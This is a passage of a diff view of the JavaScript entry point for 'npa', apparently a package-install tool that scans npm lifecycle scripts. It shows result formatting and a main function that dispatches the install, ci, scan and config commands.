verdict: r.verdict,
|
|
222
|
+
score: r.score,
|
|
223
|
+
findings: r.findings,
|
|
224
|
+
scripts: r.scripts.map(s => ({ lifecycle: s.lifecycle, file: s.file, score: s.score })),
|
|
225
|
+
})),
|
|
226
|
+
};
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
async function main() {
|
|
230
|
+
const { command, cmdArgs, flags } = parseArgs(process.argv);
|
|
231
|
+
const cwd = process.cwd();
|
|
232
|
+
const config = loadConfig(cwd);
|
|
233
|
+
|
|
234
|
+
if (flags.version) {
|
|
235
|
+
process.stdout.write(`npa ${VERSION} (${NAME})\n`);
|
|
236
|
+
return;
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
if (flags.help || !command) {
|
|
240
|
+
process.stdout.write(HELP + '\n');
|
|
241
|
+
return;
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
switch (command) {
|
|
245
|
+
case 'install':
|
|
246
|
+
case 'i': await runInstall(cmdArgs[0] || null, flags, config, cwd); break;
|
|
247
|
+
case 'ci': await runCi(flags, config, cwd); break;
|
|
248
|
+
case 'scan':
|
|
249
|
+
case 's': await runScan(flags, config, cwd); break;
|
|
250
|
+
case 'config':
|
|
251
|
+
case 'c': await runConfig(cmdArgs, config); break;
|
|
252
|
+
default:
|
|
253
|
+
output.error(`Unknown command: "${command}". Run npa --help for usage.`);
|
|
254
|
+
process.exit(1);
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
main().catch(err => {
|
|
259
|
+
output.error(err.message);
|
|
260
|
+
if (process.env.NPA_DEBUG) console.error(err);
|
|
261
|
+
process.exit(1);
|
|
262
|
+
});
|